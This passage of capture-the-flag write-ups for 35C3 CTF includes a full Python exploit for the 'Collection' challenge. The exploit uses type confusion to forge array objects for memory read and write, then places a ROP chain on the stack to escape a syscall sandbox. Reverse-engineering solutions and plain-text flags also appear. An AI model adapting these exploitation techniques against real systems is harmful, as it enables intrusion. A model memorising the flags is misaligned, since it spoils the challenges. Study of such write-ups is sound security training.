., ., ., ., ., X, ., ., ., ., ., ., . X, ., ., ., ., ., ., ., X, ., ., ., ., ., . X, ., ., ., ., ., ., ., ., X, ., ., ., ., . X, ., ., ., ., ., ., ., ., ., X, ., ., ., . X, ., ., ., ., ., ., ., ., ., ., X, ., ., . X, ., ., ., ., ., ., ., ., ., ., ., X, ., . X, ., ., ., ., ., ., ., ., ., ., ., ., X, . X, ., ., ., ., ., ., ., ., ., ., ., ., ., X Count the squares that the queen (`Q`) can see (`X`) and there are 42 of them. In fact, each of those `X`'s in the actual `chall.tar` is a symlink to that particular directory. Unfortunately, there are thousands of solutions to the 15 queens problem. Fortunately, we can generate them systematically with a script and hence decrypt the flag. Once again, we can adapt a program from [Rosetta Code](http://rosettacode.org/wiki/N-queens_problem). [Adapted C program here](scripts/queens.c) We let this C program generate all the solutions to the problem and have a Python script change each solution to a list of UNIX permissions in the order the original `check.py` script used (it sorted the directories alphabetically), SHA-256 hash it, and try to decrypt the flag. [Python decoder here](scripts/queens.py) (As per the challenge description, each "queen" would be marked by a regular file with `700` permissions, each non-queen would remain at `400` permissions, as provided in the `chall.tar` template.) `35C3_congr4ts_th0se_were_s0m3_truly_w3ll_pl4c3d_perm1ssions_Sir_`
# 2018-12-27-35C3-CTF # [CTFTime link](https://ctftime.org/event/718) | [Website](https://archive.aachen.ccc.de/35c3ctf.ccc.ac/) --- ## Challenges ## Note: only listing solved challenges. ### pwn ### - [x] [150 collection](#150-pwn--collection) ### rev ### - [x] [49 0pack](#49-rev--0pack) - [x] [72 box of blink](#72-rev--box-of-blink) - [x] [65 corebot](#65-rev--corebot) - [x] [97 juggle](#97-rev--juggle) - [x] [215 notifico](#215-rev--notifico) --- ## 150 pwn / Collection ## **Description** > [behold my collection](https://archive.aachen.ccc.de/35c3ctf.ccc.ac/uploads/52ae03f0ae030a74a2bd466852308cba74c0f313.tar.gz)> > The container is built with the following important statements> > FROM ubuntu:18.04> > ```> RUN apt-get -y install python3.6> COPY build/lib.linux-x86_64-3.6/Collection.cpython-36m-x86_64-linux-gnu.so /usr/local/lib/python3.6/dist-packages/Collection.cpython-36m-x86_64-linux-gnu.so> ```> > Copy the library in the same destination path and check that it works with> > ```bash> python3.6 test.py> ```> > Challenge runs at 35.207.157.79:4444> > Difficulty: easy **Files provided** - [collection](https://archive.aachen.ccc.de/35c3ctf.ccc.ac/uploads/52ae03f0ae030a74a2bd466852308cba74c0f313.tar.gz) **Solution** (by [Mem2019](https://github.com/Mem2019)) This should be an easy challenge, but I have missed some basic Python knowledge essential to solving the chanllenge, so I failed to solve it in the contest. :( Anyway let's start looking at it. The `Python3.6` and `libc` given are exactly same as the ones in `Ubuntu 18.04`, so they are not important. According to the instruction and the files given, we can find that a new data type `Collection` implemented in `Collection.cpython-36m-x86_64-linux-gnu.so` is given. Anything that can help to get the flag directly in Python is disabled, and it is obvious that we need to exploit the given `Collection` data type to get the flag. But how does the extended data type works? For example, there should be some convention that helps the CPython to know how to correspond Python function with particular native C function, just like Android native function. After some investigation and Google, I found this [documentation](https://docs.python.org/3/extending/), and I will not detail the software development part here because they are well explained in the link I provides. ### reverse engineering After understanding the basic concept above, we can start looking at the `.so` binary. ```c__int64 PyInit_Collection(){ __int64 v0; // rax __int64 ret; // rbx if ( (signed int)PyType_Ready((__int64)type_Collection) < 0 ) return 0LL; v0 = PyModule_Create2((__int64)def_module, 1013LL); // create the module ret = v0; if ( !v0 ) return ret; ++type_Collection[0]; PyModule_AddObject(v0, (__int64)"Collection", (__int64)type_Collection); // add the type into module // These codes are basically same as the demo in official doc mprotect((void *)0x439000, 1uLL, 7); MEMORY[0x43968F] = _mm_load_si128((const __m128i *)&16_0xcc); MEMORY[0x43969F] = MEMORY[0x43968F]; // write int3 into python3.6??? mprotect((void *)0x439000, 1uLL, 5); init_sandbox(); // disable most syscall, we can only read the flag by `readv` and `write` return ret;}``` Then we need to look at `type_Collection` to find the member functions of data type `Collection`. I initially decide to import the `PyTypeObject` from `Python.h`, but the dependency problem is a bit annoying. If anyone knows a good way to import the data structures from header files like this, please let me know. :) Another way is just to look at the memory layout and guess. After some investigation, it is obvious that `0x1470` correspond to the `get` member function that should be essential, according to memory layout. ![1546245330387](1546245330387.png) In addition, `0x1700` is the `__init__` and `0x1550` is the `__new__`, because `0x1700` seems to assign some initial value to the struct while `0x1550` only create and return a object. To ensure our assumption, we can set the breakpoint and we can find that indeed `0x1550` will be called first when creating a `Collection` object. The way to debug this thing is also tricky. The `.so` of `Collection` will not be loaded until `import Collection` is executed. However, when we run `python3` interactively, the `read` syscall will be called after we import the module, which will cause the bad syscall due to the sandbox. To make the debug more convinient, we can patch the library and remove the sandbox first. ### analyze critical functions It is quite inconvinient that we cannot import the structrue to help analysis, so we cannot use `y` to let the code more readable. ```c_QWORD *__fastcall _new__(__int64 type_Collection, __int64 a2){ __int64 len; // rax _QWORD *result; // rax __int64 arg_dict; // [rsp+0h] [rbp-18h] unsigned __int64 v5; // [rsp+8h] [rbp-10h] v5 = __readfsqword(0x28u); if ( PyArg_ParseTuple(a2, "O!", &PyDict_Type, &arg_dict) ) { len = PyDict_Size(arg_dict, (__int64)"O!"); if ( len && len <= 32 ) // off by one, but not very exploitable { result = (_QWORD *)(*(__int64 (__fastcall **)(__int64, _QWORD))(type_Collection + 0x130))(type_Collection, 0LL);// type->tp_alloc(type, 0) if ( result ) result[2] = 0LL; } else { result = &Py_NoneStruct; } } else { PyErr_SetString(PyExc_TypeError, "parameter must be a dictionary"); result = 0LL; } return result;}``` `PyArg_ParseTuple` is an interesting function, it separates the tuple `PyObject` into elements specified by format, and return `NULL` if the format is inconsistent with the real type. The detial is in official document. The `PyObject` is the `C` representation of Python object in C. The first field is reference count, and the second field is a pointer pointing to its `PyTypeObject` struct that specifies its type. The following data vary with different types of object. For example, for the Python big integer type, there will be an array storing the value of the big integer. The total length of the `PyObject` can also vary. Then we are going to look at `__init__` and `get` to see the memory layout of `PyObject` of `Collection` ```c// the return value of __new__ is a1unsigned int __fastcall _init__(__int64 collection_obj, __int64 a2){ __int64 v2; // r14 __int64 dict_; // rbx int i; // er12 __int64 keys; // r13 list *lRecord; // r15 char *strKey; // rax int type; // esi __int64 v9; // rdx record *v10; // rax handler *v11; // rax unsigned int result; // eax __int64 v13; // rdi __int64 v14; // rax char *v15; // ST08_8 __int64 dict; // [rsp+18h] [rbp-60h] __int64 poKey; // [rsp+20h] [rbp-58h] _QWORD *poVal; // [rsp+28h] [rbp-50h] __int64 ppos; // [rsp+30h] [rbp-48h] unsigned __int64 v20; // [rsp+38h] [rbp-40h] v2 = collection_obj; v20 = __readfsqword(0x28u); if ( PyArg_ParseTuple(a2, "O!", &PyDict_Type, &dict) ) { dict_ = dict; if ( *(_BYTE *)(*(_QWORD *)(dict + 8) + 171LL) & 0x20 ) { i = 0; keys = PyDict_Keys(dict); if ( *(_BYTE *)(*(_QWORD *)(keys + 8) + 171LL) & 2 ) { while ( i < PyList_Size(keys) ) { if ( !(*(_BYTE *)(*(_QWORD *)(PyList_GetItem(keys, i) + 8) + 171LL) & 0x10) ) { PyErr_SetString(PyExc_TypeError, "parameter must be a string"); // check all keys are string goto LABEL_20; } ++i; } lRecord = listCreate(); ppos = 0LL; while ( PyDict_Next(dict_, &ppos, &poKey, &poVal) ) { strKey = PyUnicode_AsUTF8(poKey); type = 0; v9 = *(_QWORD *)(poVal[1] + 168LL); if ( !(v9 & 0x2000000) ) { type = 2; if ( !(v9 & 0x20000000) ) { type = 1; if ( !(v9 & 0x1000000) ) { v15 = strKey; PyErr_SetString(PyExc_TypeError, "properties can only be either list, dictionary or an integer"); type = -1; strKey = v15; } } } v10 = newRecord(strKey, type); listAppend(lRecord, v10); } v11 = getTypeHandler(lRecord); ppos = 0LL; *(_QWORD *)(collection_obj + 16) = v11; while ( 1 ) { result = PyDict_Next(dict_, &ppos, &poKey, &poVal); if ( !result ) break; v13 = poKey; ++*poVal; PyUnicode_AsUTF8(v13); if ( *(_BYTE *)(poVal[1] + 171LL) & 1 ) { v14 = PyLong_AsLong(poVal); *(_QWORD *)(v2 + 8 * ppos + 16) = v14; } else { *(_QWORD *)(v2 + 8 * ppos + 16) = poVal;// ppos start from 1 } } } else { PyErr_SetString(PyExc_TypeError, "parameter must be a list");LABEL_20: PyErr_SetString(PyExc_TypeError, "parameter must be a list"); result = -1; } } else { PyErr_SetString(PyExc_TypeError, "parameter must be a list"); result = -1; } } else { PyErr_SetString(PyExc_TypeError, "parameter must be a dictionary"); result = 0; } return result;}void *__fastcall py_get(CollectionObj *a1, __int64 a2){ __int64 *v2; // rcx CollectionObj *v3; // rbx __int64 *v4; // rdi int idx; // eax node *iter; // rdx int v7; // ecx void *result; // rax __int64 arg; // [rsp+0h] [rbp-18h] unsigned __int64 v10; // [rsp+8h] [rbp-10h] v3 = a1; v10 = __readfsqword(0x28u); if ( !PyArg_ParseTuple(a2, "s", &arg, v2) ) return &Py_NoneStruct; v4 = (__int64 *)a1->type; if ( v4 != type_Collection && !(unsigned int)PyType_IsSubtype(v4, type_Collection) ) return &Py_NoneStruct; idx = listIndexOf(v3->u[0].handler->lRecord, arg, (unsigned int (__fastcall *)(_QWORD, __int64))recordNameComparator); if ( idx == -1 ) return &Py_NoneStruct; iter = v3->u[0].handler->lRecord->head; if ( iter && idx > 0 ) { v7 = 0; do { iter = iter->next; ++v7; } while ( iter && idx > v7 ); } result = (void *)v3->u[idx + 1].val; if ( iter->record->val_type == 1 ) result = (void *)PyLong_FromLong(result); return result;}``` relavant data structures ```assembly00000000 list struc ; (sizeof=0x14, align=0x4, copyof_14)00000000 head dq ?00000008 tail dq ? ; offset00000010 len dd ?00000014 list ends0000001400000000 ; ---------------------------------------------------------------------------0000000000000000 record struc ; (sizeof=0xC, align=0x4, mappedto_15)00000000 key_str dq ?00000008 val_type dd ?0000000C record ends0000000C00000000 ; ---------------------------------------------------------------------------0000000000000000 handler struc ; (sizeof=0xC, align=0x4, mappedto_17)00000000 lRecord dq ?00000008 count dd ?0000000C handler ends0000000C00000000 ; ---------------------------------------------------------------------------0000000000000000 node struc ; (sizeof=0x10, align=0x8, copyof_16)00000000 record dq ?00000008 next dq ?00000010 node ends0000001000000000 ; ---------------------------------------------------------------------------0000000000000000 union_7 union ; (sizeof=0x8, mappedto_19)00000000 handler dq ? ; offset00000000 val dq ?00000000 obj dq ?00000000 union_7 ends0000000000000000 ; ---------------------------------------------------------------------------0000000000000000 CollectionObj struc ; (sizeof=0x118, mappedto_20)00000000 ref_count dq ?00000008 type dq ?00000010 u union_7 33 dup(?)00000118 CollectionObj ends``` `record` stores the key which is a string, and the type of value correspond to that key; and the `handler` stores a list of records, which is the type information of a specific dictionary. In the `CollectionObj`, which is the `PyObject` of `Collection`, we have a pointer to the `handler`, and we also have the array that stores the `PyObject` of values in dictionary, except for the integer type we just store it as long type in C. The order in handler linked list and the order in array in `CollectionObj` should have been matched exactly to each other. However, when `getTypeHandler` is called, it will return a previous handler if the handler already exists, **even if the order of entries in the dictionary is different**. Here is where the vulnerability comes, type confusion. The PoC that cause the crash is simple: ```pythonia = Collection.Collection({"int": 0x1337, "arr": [0xdead, 0xbeef]})ai = Collection.Collection({"arr": [0xdead, 0xbeef], "int": 0x1337}) #they will share the same handler, even if the order is different#and the order of the array in `CollectionObj` is also differentprint(ia.get("int"))print(ia.get("arr"))print(ai.get("int")) #print addressprint(ai.get("arr")) #cause crash because it regards 0x1337 as address``` ### exploitation Because I can leak the object address using `id(obj)`, so we can fake a object easily in the memory and return an address pointing to it in the `Collection.get`. If we can find a structure that internally keep a pointer pointing to a C array, and we can read and write its element, we will have arbitrary address read and write. This is where I failed. The Python string is not the case because it stores the data directly in the `PyObject`, and we cannot edit it. The Python list is neither the case because the pointer points to an array of pointers pointing to Python objects. When we assign new value to the list, what is changed is the pointer to the Python object, instead of the content inside the object, so we cannot exploit this. Then I come to some other approach such as Python heap exploitation, but they don't work very well, or the difficulty to exploit in that way is far beyond my capability. After the CTF, I read some of the write-ups and found `array.array` that performs exactly same as what I expected. Then the thing become very easy. We can leak the `libc` and stack address very easily, and write to stack to perform ROP that gets the flag. ```pythonimport osflag = open("flag", "r")os.dup2(flag.fileno(), 1023)flag.close() from sys import modulesdel modules['os']import Collectionkeys = list(__builtins__.__dict__.keys())for k in keys: if k != 'id' and k != 'hex' and k != 'print' and k != 'range': del __builtins__.__dict__[k] # ----------------start--------------------- p64 = lambda x: x.to_bytes(8,"little") def create_rop(iov, buf): #ROP is easy, I won't detail this POPRAX = p64(0x0000000000420f7b) POPRDI = p64(0x0000000000421612) POPRSI = p64(0x000000000042110e) POPRDX = p64(0x00000000004026c1) READV = p64(0x4208B0) WRITE = p64(0x4207E0) rop = b'' rop += POPRDI rop += p64(1023) rop += POPRSI rop += p64(iov) rop += POPRDX rop += p64(1) rop += READV #readv(1023, iov, 1) rop += POPRDI rop += p64(1) rop += POPRSI rop += p64(buf) rop += POPRDX rop += p64(0x100) rop += WRITE #write(1, buf, 0x100) rop += p64(0x2019) return rop def fake_array(addr): # https://github.com/python/cpython/blob/master/Modules/arraymodule.c # the first field is reference count, we make it big to avoid GC to collect it # the 0x9d3340 and 0x715508 represent the type of PyObject and type of C array respectively # in this case, I have chosen the unsigned char array to make it easy # they are obtained from debugging # the 3rd and 5th fields are both length, # I don't know why there are 2 fields storing the same thing, # although they can be inequal sometimes, # so I just copied everything from the memory return p64(0x0000000000002019) + p64(0x00000000009d3340) \ + p64(0x0000000000002019) + p64(addr) \ + p64(0x0000000000002019) + p64(0x0000000000715508) \ + p64(0x0000000000000000) + p64(0x0000000000000000) ia = Collection.Collection({"int":0x5cee56c130df7336, "arr":[0x2019, 0xbeef]}) ENVIRON = 0xa4f980leak = fake_array(ENVIRON)#suprisingly the environ is in Python module instead of libc module leak_addr = id(leak) + 0x20#for the string, the data is +0x20 after the PyObject address#but in the interactive mode, it seems to be +0x48? print(hex(leak_addr)) ai_leak2 = Collection.Collection({"arr":[0x2019, 0xbeef], "int":leak_addr})leak_arr2 = ai_leak2.get("arr") #This triggers the vulnerability, and returns an faked array.array object#also, make sure don't reassign this variable, otherwise the GC might be triggered print(hex(id(leak_arr2)))assert id(leak_arr2) == leak_addr stack_addr = 0for i in range(0,8): stack_addr |= (leak_arr2[i]) << (8 * i)#leak the stack address #here we decide to write the ROP into the return address of Py_Main#which should return to function main, and will be executed when the Python script terminates#This is good because it will not interfere essential data at the top of the stack,#and we are sure it will be executed as long as the program terminatesstack_addr -= 0x148 # will point to return address of Py_Main print(hex(stack_addr))#-------------------leak address to shoot rop write = fake_array(stack_addr)write_addr = id(write) + 0x20buf_addr = 0xA4FF00 # choose a buffer that will not be usedfake_iov = p64(buf_addr) + p64(0x100)iov_addr = id(fake_iov) + 0x20#fake the iov for readv ai_write = Collection.Collection({"arr":[0x2019, 0xbeef], "int":write_addr})write_arr = ai_write.get("arr")print(hex(id(write_arr)))#basically same as above rop = create_rop(iov_addr, buf_addr) for i in range(15 * 8): write_arr[i] = rop[i]#-----------------------write ROP``` ## 49 rev / 0pack ## **Description** > Build with my new packer framework. Do you likes zeros in weird places? Try [this](https://archive.aachen.ccc.de/35c3ctf.ccc.ac/uploads/0pack-e58db1f74c3da8d9f89d7d381308aeaf1a615848.tar.gz)!> > (Password does not contain 35C3_, prepend before submitting flag `35C3_${extracted_password}`) Guest challenge by Qubasa.> Difficulty estimate: medium **Files provided** - [0pack](https://archive.aachen.ccc.de/35c3ctf.ccc.ac/uploads/0pack-e58db1f74c3da8d9f89d7d381308aeaf1a615848.tar.gz) **Solution** (by [Mem2019](https://github.com/Mem2019)) To solve this challenge, we need to unpack the binary first. After some inspection, we can dump the binary using gdb `dump binary memory code.bin 0x555555554628 0x555555567094`, because this is the region where the writable codes lie. Then put it into the executable. ```pythonp = open("code.bin", "r")d = p.read()p.close() f = open("0pack.elf", "r+")f.seek(0x628)f.write(d)f.close()``` Using `backtrace` command in gdb, we can find the function that calls the function to get input, here it is `fgets` ```c__int64 __usercall sub_5555555669A0@<rax>(__int64 a1@<rsi>, _BYTE *a2@<r15>){ char need1; // [rsp+1Dh] [rbp-83h] char s[15]; // [rsp+20h] [rbp-80h] char v5[16]; // [rsp+30h] [rbp-70h] char out[58]; // [rsp+50h] [rbp-50h] unsigned __int64 v7; // [rsp+98h] [rbp-8h] v7 = __readfsqword(0x28u); need1 = 1; strcpy(v5, "Input password: "); printf("%s", v5, a1); fgets(s, 15, stdin); putchar(10); if ( s[0] != a2[74869] || antidbg() ) //clear plain text comparison need1 = 0; if ( s[1] != a2[74968] || antidbg() ) need1 = 0; if ( s[2] != a2[74298] || antidbg() ) need1 = 0; if ( s[3] != a2[74319] || antidbg() ) need1 = 0; if ( s[4] != a2[74868] || antidbg() ) need1 = 0; if ( s[5] != a2[74319] || antidbg() ) need1 = 0; if ( s[6] != a2[74664] || antidbg() ) need1 = 0; if ( s[7] != a2[74869] || antidbg() ) need1 = 0; if ( s[8] != a2[74874] || antidbg() ) need1 = 0; if ( s[9] != a2[74298] || antidbg() ) need1 = 0; if ( s[10] != a2[74309] || antidbg() ) need1 = 0; if ( s[11] != a2[74954] || antidbg() ) need1 = 0; if ( s[12] != a2[74792] || antidbg() ) need1 = 0; if ( s[13] != a2[74968] || antidbg() ) need1 = 0; if ( need1 ) { *(_QWORD *)out = '��_��� ('; *(_QWORD *)&out[8] = '��� (\n)�'; *(_QWORD *)&out[16] = '��>)���_'; *(_QWORD *)&out[24] = '���-����'; *(_QWORD *)&out[32] = '��␌�(\n'; *(_QWORD *)&out[40] = 'uf )���_'; *(_QWORD *)&out[48] = '!haey kc'; *(_WORD *)&out[56] = '\n'; } else { *(_QWORD *)out = '�� wwwwA'; *(_DWORD *)&out[8] = '��_�'; *(_WORD *)&out[12] = '\n�'; out[14] = 0; } printf("%s", out); return 0LL;}``` By debugging, we can find that `a2 == 0x555555554000`, so get the flag using IDA script ```pythons = [None] * 14s[0] = chr(Byte(0x555555554000 + 74869))s[1] = chr(Byte(0x555555554000 + 74968))s[2] = chr(Byte(0x555555554000 + 74298))s[3] = chr(Byte(0x555555554000 + 74319))s[4] = chr(Byte(0x555555554000 + 74868))s[5] = chr(Byte(0x555555554000 + 74319))s[6] = chr(Byte(0x555555554000 + 74664))s[7] = chr(Byte(0x555555554000 + 74869))s[8] = chr(Byte(0x555555554000 + 74874))s[9] = chr(Byte(0x555555554000 + 74298))s[10] = chr(Byte(0x555555554000 + 74309))s[11] = chr(Byte(0x555555554000 + 74954))s[12] = chr(Byte(0x555555554000 + 74792))s[13] = chr(Byte(0x555555554000 + 74968)) print ''.join(s)``` But one thing that I don't understand is the way the packer works. The entry point is `0` for this executable, and so the initial rip should be `0x555555554000` with ASLR disabled. However, the data there in IDA pro and gdb are `0xe9 0xfb 0x5f 0x41 0x00`, which is `jmp 0x55555596a000`. The instructions in `0x55555596a000` make sense, because they seem to be the entry point of a packer. However, I don't know where `0xe9 0xfb 0x5f 0x41 0x00` comes from, because that address should be magic number of ELF header, `"\x7fELF"`, and indeed in the ELF file it is so. And I cannot find `0xe9 0xfb 0x5f 0x41 0x00` in binary ELF file. Well, so I am not sure how these bytes are changed. ## 72 rev / box of blink ## **Description** > As every year, can you please decode [this](https://archive.aachen.ccc.de/35c3ctf.ccc.ac/uploads/blink.csv.gz) for me?> > ![](https://archive.aachen.ccc.de/35c3ctf.ccc.ac/uploads/blink.jpg) **Files provided** - [blink.csv.gz](https://archive.aachen.ccc.de/35c3ctf.ccc.ac/uploads/blink.csv.gz) **Solution** The image shows a prototyping setup with: - a LED board (bottom right) - an oscilloscope (top) showing some squarewaves / digital data capture - a logic analyser (centre) - a Raspberry Pi (bottom left) It is clear that the Pi has a program running that presumably displays the flag on the LED board at some point, and that the logic analyser captured this operation as the file we were given. The oscilloscope might give some additional hints for what to look for in the data but it is not terribly important to solving the challenge. Unpacking the `blink.csv.gz` file, we can see that it is a quite large (410 MiB) Comma-Separated Values file, i.e. a text-based table format. In the first 21 lines we see some metadata emitted by the logic analyser, but more importantly, we see the labels for all the 10000000 data entries that follow. ```bash$ wc -l blink.csv10000021$ head -n 22 blink.csv#Model,MDO3014#Firmware Version,1.26##Waveform Type,DIGITAL,,,,,,,,,,,,,#Point Format,Y,,,,,,,,,,,,,#Horizontal Units,s,,,,,,,,,,,,,#Horizontal Scale,0.004,,,,,,,,,,,,,#,,,,,,,,,,,,,,#Sample Interval,4e-09,,,,,,,,,,,,,#Record Length,1e+07,,,,,,,,,,,,,#Gating,0.0% to 100.0%,,,,,,,,,,,,,#,,,,,,,,,,,,,,#Vertical Units,V,V,V,V,V,V,V,V,V,V,V,V,V,V#Threshold Used,1.65,1.65,1.65,1.65,1.65,1.65,1.65,1.65,1.65,1.65,1.65,1.65,1.65,1.65#,,,,,,,,,,,,,,#,,,,,,,,,,,,,,#,,,,,,,,,,,,,,#,,,,,,,,,,,,,,#,,,,,,,,,,,,,,#Label,OE,LAT,CLK,E,D,C,B,A,B2,B1,G2,G1,R2,R1#TIME,D13,D12,D11,D10,D9,D8,D7,D6,D5,D4,D3,D2,D1,D0-1.0000000e-03,0,0,0,0,1,0,0,0,0,0,0,1,0,1``` `TIME` is the only column with decimal data, but it is irrelevant to us (it is enough to know that successive lines represent samples taken at successive times), so we will ignore it. The remaining columns are all digital, only taking values `0` or `1`. Some of their labels are clear enough, some not so much: - `OE` - ? - `LAT` - latch? - `CLK` - clock - `E` ... `A` - ? 5 bits = 64 possible values - `{R,G,B}{1,2}` - 2 bits for each colour channel - Red, Green, Blue `CLK` is a very important signal to see in captures like this. It is not trivial to perfectly synchronise two devices, so it is common to use a dedicated clock signal emitted by one device (master) that tells the other (slave) when to read data from the remaining signals. In our case we only need to read data entries when the clock "goes high", i.e. its value is `0` on the previous sample and `1` on the current sample. At this point we can try to test various theories about how the data is actually transmitted using the remaining signals (`LAT`, `E` ... `A`, and `{R,G,B}{1,2}`). However, for a speedy flag it was worth trying the simplest possible method – what if the Pi transmits displays the flag right away, i.e. there is no metadata exchanged, just pixels? It would be useful to know what shape the data would be in. The photo is in good enough resolution (and was actually much higher res during the CTF) for us to be able to count the individual LEDs on the LED board. It consists of two 64x64 squares, 128x64 pixel resolution in total. Then we can assume that `R1` is the most significant bit of the red channel, `R2` is the LSB (not that it really matters), and print out pixels! [Full pixel reader script](scripts/Blink.hx) ![](screens/blink.png) The output is by no means perfect, but it got us the flag with minimal effort! `35C3_D4s_blInk3nL1cht3n_1st_so_wund3rb4r` ## 65 rev / corebot ## **Description** > https://35c3ctf.ccc.ac/uploads/corebot-640d3c582340e647d72e1dd9418a3fd6> > Difficulty estimate: easy> > Guest challenge by Jesko / rattle.> > **UPDATE**: Challenge binary replaced. Apologies for the inconvenience. **Files provided** - [corebot](https://35c3ctf.ccc.ac/uploads/corebot-640d3c582340e647d72e1dd9418a3fd6) **Solution** (by [Mem2019](https://github.com/Mem2019)) The core function is easy, decrypt specific data using the key generated from `VolumeSerialNumber`, and compare the first 4 bytes of decryption result with `35C3`. In other word, we need to find the correct serial number that can decrypt the data to the flag. The best way is to use the brute force crack. ```c#include <windows.h>#include <stdio.h>struct key{ DWORD head[3]; WORD serials[0x10];}data; DWORD cmode = CRYPT_MODE_ECB;bool crack(DWORD serialNumber){ DWORD len = 0x20; BYTE res[] = "\x10\x29\xB8\x45\x9D\x2A\xAB\x93\xFE\x89\xFB\x82\x93\x42\xA1\x8C\x2E\x90\x63\x00\x06\x11\x80\x64\xB8\x21\xC2\x9F\x35\xE7\x7E\xF2"; HCRYPTPROV cryptContext; HCRYPTKEY key; CryptAcquireContextA(&cryptContext, 0, 0, 0x18u, 0); //initialization that gets the context int i = 16; do { --i; data.serials[i] = (WORD)serialNumber; serialNumber ^= ((DWORD)(WORD)serialNumber >> 4) ^ ((WORD)serialNumber << 11) ^ ((WORD)serialNumber << 7); //actually only low 16 bits of serial are used here, so we only need to crack 0x10000 times }// do some transformation while (i); CryptImportKey(cryptContext, (const BYTE *)&data, 0x2Cu, 0, 0, (HCRYPTKEY *)&key); //import the key from raw bytes to some struct CryptSetKeyParam(key, KP_MODE, (const BYTE *)&cmode, 0); //set mode to ECB CryptDecrypt(key, 0, 1, 0, (BYTE *)&res, (DWORD *)&len;; //decrypt return (memcmp(res, "35C3", 4) == 0);} void init(){ data.head[0] = 0x208; data.head[1] = 0x6610; data.head[2] = 0x20;} int main(){ init(); for (size_t i = 0; i < 0xffffffff; i++) { if (i % 0x1000 == 0) printf("%x\n", i); if (crack(i)) printf("%x\n", i); } return 0;}``` A tricky point is that this program is written by assembly directly, because almost no compiler will generate assembly code like this. Especially, when doing the transformation, the hex-ray will give the wrong pseudo code. For example, ```c//in the loopHIWORD(v18) = serialNumber; // wrong!``` This is actually many continuous `push` that create an array finally, instead of assigning to the same variable for 16 times ```assemblypush ax ; push 16 * 2 = 0x20 bytes``` along with the extra 0xC bytes being pushed after the loop, we have 0x2C bytes, which matches the `dwDataLen` argument of `CryptImportKey` exactly. ```assemblypush 20hpush 6610hpush small 0push small 208h ; 0xc bytes``` ## 97 rev / juggle ## **Description** > Can you help this restaurant Stack the right amount of Eggs in their ML algorithms?> > Guest challenge by Tethys.> > Note that you need to send a shutdown(2) after you sent your solution. The nmap netcat will do so for you, e.g.: `ncat 35.246.237.11 1 < solution.xml`> > > `/usr/bin/ncat --help | grep -n 1 Ncat 7.60 ( https://nmap.org/ncat )`> > Files here: https://35c3ctf.ccc.ac/uploads/juggle-f6b6fa299ba94bbbbce2058a5ca698db.tar **Files provided** - [juggle.tar](https://35c3ctf.ccc.ac/uploads/juggle-f6b6fa299ba94bbbbce2058a5ca698db.tar) **Solution** At first I wanted to completely skip this challenge because I thought "ML" in the description referred to Machine Learning, not an uncommon theme in difficult CTF challenges. But I'm really glad I got back to it eventually! In the archive we are given two files: - `Dockerfile` - contains the script for deploying a Docker container for this challenge, and its run command, which invokes [Xalan](https://xalan.apache.org/) - `challenge.min.xslt` - an [XSLT (Extensible Stylesheet Language Transformations)](https://en.wikipedia.org/wiki/XSLT) file, minified The first step is to tidy up the `challenge` file with some auto format. [Auto-formatted `challenge.xslt`](files/challenge.xslt) At this point we can start dissecting the file more comfortably, one bit at a time. The root element, `<xsl:stylesheet>` specifies some XLST "libraries", [`math`](http://exslt.org/math/) and [`common`](http://exslt.org/exsl/index.html). It has two child nodes. The first is a template that matches on `/meal` elements. Based on the description we will have to send the challenge server an XML file, so it seems the root element of our file will be `<meal>`. The other is a template with a name, but no element match, so it will be invoked indirectly by the XSLT itself. Let us have a closer look at the first template, matching on `/meal`. First, there is an assertion: ```xml<xsl:if test="count(//plate) > 300"> <xsl:message terminate="yes">You do not have enough money to buy that much food</xsl:message></xsl:if>``` If we have more than 300 `<plate>` elements in our submission, the above message is printed and the process is stopped (`terminate="yes"`). Note also the fact that plates are counted with `//plate`, i.e. nested two levels deep (including `<meal>`). Next, a variable called `chef-drinks` is defined: ```xml<xsl:variable name="chef-drinks"> <value><xsl:value-of select="round(math:random() * 4294967296)"/></value> <value><xsl:value-of select="round(math:random() * 4294967296)"/></value> <value><xsl:value-of select="round(math:random() * 4294967296)"/></value> <value><xsl:value-of select="round(math:random() * 4294967296)"/></value> <value><xsl:value-of select="round(math:random() * 4294967296)"/></value></xsl:variable>``` It seems to be an array of five randomly generated 32-bit unsigned integers (`4294967296 = 0x100000000 = 2^32`). Finally, the other template is "called", like a function: ```xml<xsl:call-template name="consume-meal"> <xsl:with-param name="chef-drinks" select="exsl:node-set($chef-drinks)//value"/> <xsl:with-param name="food-eaten" select="1"/> <xsl:with-param name="course" select="course[position() = 1]/plate"/> <xsl:with-param name="drinks" select="state/drinks"/></xsl:call-template>``` The `chef-drinks` variables is given as-is. `food-eaten` is initialised at `1`. `course` is set to all `<plate>` elements in the first `<course>` element of our `<meal>` submission. And finally, `drinks` is initialised to the `<drinks>` element in `<state>`. Before looking into what `consume-meal` does, we already know / can guess our submission will have this shape: ```xml<meal> <course> <plate>?</plate> <plate>?</plate> ... </course> <course>...</course> ... <state> <drinks> ? </drinks> </state></meal>``` Now we can move onto `consume-meal`. Its first lines declare the parameters we already know about – `chef-drinks`, `food-eaten`, `course`, and `drinks`. Then there are two assertions: ```xml<xsl:if test="$food-eaten > 30000"> <xsl:message terminate="yes">You ate too much and died</xsl:message></xsl:if><xsl:if test="count($drinks) > 200"> <xsl:message terminate="yes">You cannot drink that much</xsl:message></xsl:if>``` Both of these seem to be fatal errors. Since `food-eaten` was initialised at `1`, the first assertion would only make sense if `consume-meal` was called multiple times. And indeed, if we scroll a bit further, we will find that `consume-meal` is called again from within itself, i.e. it is recursive. At each step, it increases `food-eaten` by one. In other words, `food-eaten` is a step counter that cannot go above 30000. By similar logic, `drinks` must be modified within `consume-meal`, otherwise this assertion could have been made before the initial call. Whatever `drinks` are, we cannot have more than 200 of them. Finally, we move on to the core of the XSLT. If we have any elements in `$course`, we initialise a couple of variables: ```xml<xsl:if test="count($course) > 0"> <xsl:variable name="c" select="$course[1]"/> <xsl:variable name="r" select="$course[position()>1]"/> <xsl:choose> ... </xsl:choose></xsl:if>``` `c` will refer to the first element of `$course` (since in XML land lists are 1-indexed), and `r` will refer to the remaining elements. Note at this point that `$course` does NOT refer to our `<course>` elements. Recall that `consume-meal` was invoked with `<xsl:with-param name="course" select="course[position() = 1]/plate"/>`, so `$course` will contain the `<plate>` elements of our first `<course>` (on the first iteration). So with an input like: ```xml<meal> <course> <plate><foo/></plate> <plate><bar/></plate> <plate><baz/></plate> </course> ...</meal>``` During the first call to `consume-meal`, `$c` will be `<plate><foo/></plate>`, and `$r` will be the list of `<plate><bar/></plate>` and `<plate><baz/></plate>`. After `$c` and `$r` are initialised, there is a large `<xsl:choose>` 